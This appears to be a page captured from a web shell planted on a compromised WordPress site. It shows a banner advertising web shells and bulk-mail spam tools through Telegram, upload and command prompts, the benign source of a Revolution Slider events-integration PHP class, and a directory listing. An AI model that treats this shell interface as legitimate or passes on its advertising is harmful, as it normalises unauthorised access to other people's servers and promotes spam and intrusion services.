__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
<?php
/**
 * @author    ThemePunch <[email protected]>
 * @link      https://www.themepunch.com/
 * @copyright 2024 ThemePunch
 */

if(!defined('ABSPATH')) exit();

class RevSliderEventsManager extends RevSliderFunctions {
	public function __construct(){
		$this->init_em();
	}
	
	public function init_em(){
		add_filter('revslider_get_posts_by_category', array($this, 'add_post_query'), 10, 2);
	}
	
	/**
	 * check if events class exists
	 */
	public static function isEventsExists(){
		return defined('EM_VERSION') && defined('EM_PRO_MIN_VERSION');
	}
	
	/**
	 * get sort by list
	 * @before: RevSliderEventsManager::getArrFilterTypes()
	 */
	public static function get_filter_types(){
		return array(
			'none'		=> __('All Events', 'revslider'),
			'today'		=> __('Today', 'revslider'),
			'tomorrow'	=> __('Tomorrow', 'revslider'),
			'future'	=> __('Future', 'revslider'),
			'past'		=> __('Past', 'revslider'),
			'month'		=> __('This Month', 'revslider'),
			'nextmonth'	=> __('Next Month', 'revslider')
		);
	}
	
	
	/**
	 * get meta query
	 * @before: RevSliderEventsManager::getWPQuery()
	 */
	public static function get_query($filter_type, $sort_by){
		$response			= array();
		$dayMs				= 60 * 60 * 24;
		$time				= current_time('timestamp');
		$todayStart			= strtotime(date('Y-m-d', $time));
		$todayEnd			= $todayStart + $dayMs-1;
		$tomorrowStart		= $todayEnd+1;
		$tomorrowEnd		= $tomorrowStart + $dayMs-1;
		$start_month		= strtotime(date('Y-m-1',$time));
		$end_month			= strtotime(date('Y-m-t',$time)) + 86399;
		$next_month_middle	= strtotime('+1 month', $time); //get the end of this month + 1 day
		$start_next_month	= strtotime(date('Y-m-1',$next_month_middle));
		$end_next_month		= strtotime(date('Y-m-t',$next_month_middle)) + 86399;
		$query				= array();
		
		switch($filter_type){
			case 'none':	//none
			break;
			case 'today':
				$query[] = array('key' => '_start_ts', 'value' => $todayEnd, 'compare' => '<=');
				$query[] = array('key' => '_end_ts', 'value' => $todayStart, 'compare' => '>=');
			break;
			case 'future':
				$query[] = array('key' => '_start_ts', 'value' => $time, 'compare' => '>');
			break;
			case 'tomorrow':
				$query[] = array('key' => '_start_ts', 'value' => $tomorrowEnd, 'compare' => '<=');
				$query[] = array('key' => '_end_ts', 'value' => $todayStart, 'compare' => '>=');	
			break;
			case 'past':
				$query[] = array('key' => '_end_ts', 'value' => $todayStart, 'compare' => '<');
			break;
			case 'month':
				$query[] = array('key' => '_start_ts', 'value' => $end_month, 'compare' => '<=');
				$query[] = array('key' => '_end_ts', 'value' => $start_month, 'compare' => '>=');					
			break;
			case 'nextmonth':
				$query[] = array('key' => '_start_ts', 'value' => $end_next_month, 'compare' => '<=');
				$query[] = array('key' => '_end_ts', 'value' => $start_next_month, 'compare' => '>=');
			break;
			default:
				$f = RevSliderGlobals::instance()->get('RevSliderFunctions');
				$f->throw_error('Wrong event filter');
			break;
		} 
		
		if(!empty($query))
			$response['meta_query'] = $query;
		
		//convert sortby
		switch($sort_by){
			case 'event_start_date':
				$response['orderby']	= 'meta_value_num';
				$response['meta_key']	= '_start_ts';
			break;
			case 'event_end_date':
				$response['orderby']	= 'meta_value_num';
				$response['meta_key']	= '_end_ts';
			break;
		}			
		
		return $response;
	}
	
	
	/**
	 * get event post data in array. 
	 * if the post is not event, return empty array
	 * @before: RevSliderEventsManager::getEventPostData()
	 */
	public static function get_event_post_data($postID, $prefix = ''){
		if(self::isEventsExists() == false) return array();
		
		$postType = get_post_type($postID);
		
		if($postType != EM_POST_TYPE_EVENT) return array();
	
		$f			 = RevSliderGlobals::instance()->get('RevSliderFunctions');
		$event		 = new EM_Event($postID, 'post_id');
		$location	 = $event->get_location();
		$ev			 = $event->to_array();
		$loc		 = $location->to_array();
		$date_format = get_option('date_format');
		$time_format = get_option('time_format');
		
		$response = array(
			$prefix.'id'				 => $f->get_val($ev, 'event_id'),
			$prefix.'start_date'		 => date_format(date_create_from_format('Y-m-d', $f->get_val($ev, 'event_start_date')), $date_format),
			$prefix.'end_date'			 => date_format(date_create_from_format('Y-m-d', $f->get_val($ev, 'event_end_date')), $date_format),
			$prefix.'start_time'		 => date_format(date_create_from_format('H:i:s', $f->get_val($ev, 'event_start_time')), $time_format),
			$prefix.'end_time'			 => date_format(date_create_from_format('H:i:s', $f->get_val($ev, 'event_end_time')), $time_format),
			$prefix.'location_name'		 => $f->get_val($loc, 'location_name'),
			$prefix.'location_address'	 => $f->get_val($loc, 'location_address'),
			$prefix.'location_slug'		 => $f->get_val($loc, 'location_slug'),
			$prefix.'location_town'		 => $f->get_val($loc, 'location_town'),
			$prefix.'location_state'	 => $f->get_val($loc, 'location_state'),
			$prefix.'location_postcode'	 => $f->get_val($loc, 'location_postcode'),
			$prefix.'location_region'	 => $f->get_val($loc, 'location_region'),
			$prefix.'location_country'	 => $f->get_val($loc, 'location_country'),
			$prefix.'location_latitude'	 => $f->get_val($loc, 'location_latitude'),
			$prefix.'location_longitude' => $f->get_val($loc, 'location_longitude')
		);
		
		return $response;
	}
	
	
	/**
	 * get events sort by array
	 */
	public static function getArrSortBy(){
		return array(
			'event_start_date'	=> __('Event Start Date', 'revslider'),
			'event_end_date'	=> __('Event End Date', 'revslider')
		);
	}
	
	/**
	 * triggered if we receive posts by categories (RevSliderSlider::get_posts_by_categories())
	 **/
	public function add_post_query($data, $slider){
		$filter_type = $slider->get_param('events_filter', 'none');
		if(self::isEventsExists()){
			$data['addition'] = RevSliderEventsManager::get_query($filter_type, $this->get_val($data, 'sort_by'));
		}
		
		return $data;
	}
	
	public static function add_em_layer_v7($post_data, $data, $metas, $slider){
		if(self::isEventsExists() == false) return $post_data;
		
		$f = RevSliderGlobals::instance()->get('RevSliderFunctions');

		foreach($post_data ?? [] as $key => $post){
			$data = RevSliderEventsManager::get_event_post_data($f->get_val($post, 'id'), 'event_');
			if($data === false) continue;
			//modify excerpt if empty to be filled with content
			if(!isset($post['excerpt']) || trim($post['excerpt']) === ''){
				$post['excerpt'] = str_replace(array('<br/>', '<br />'), '', strip_tags($f->get_val($post, array('content', 'content')), '<b><br><i><strong><small>'));
			}

			$post_data[$key] = array_merge($post, $data);
		}

		return $post_data;
	}
	
}

add_filter('sr_streamline_post_data_post', array('RevSliderEventsManager', 'add_em_layer_v7'), 10, 4);

Filemanager

Name Type Size Permission Actions
external Folder 0750
api.class.php File 74.97 KB 0640
aq-resizer.class.php File 7.8 KB 0640
backwards.php File 1.44 KB 0640
basic-css.php File 11.57 KB 0640
cache.class.php File 5.93 KB 0640
coloreasing.class.php File 6.4 KB 0640
colorpicker.class.php File 15.29 KB 0640
cssparser.class.php File 24.9 KB 0640
data.class.php File 76.43 KB 0640
em-integration.class.php File 6.7 KB 0640
extension.class.php File 7.56 KB 0640
favorite.class.php File 1.24 KB 0640
functions.class.php File 86.12 KB 0640
globals.class.php File 2.49 KB 0640
googlefonts.php File 244.63 KB 0640
index.php File 27 B 0640
jetpack.class.php File 1.66 KB 0640
navigation.class.php File 19.19 KB 0640
navigations.php File 118.17 KB 0640
object-library.class.php File 52.29 KB 0640
output.sr6.class.php File 321.47 KB 0640
output.sr7.class.php File 90.37 KB 0640
page-template.class.php File 3.73 KB 0640
slide.class.php File 117.47 KB 0640
slider.class.php File 122.87 KB 0640
update.class.php File 7.68 KB 0640
woocommerce.class.php File 11.6 KB 0640
wpml.class.php File 5.84 KB 0640
Filemanager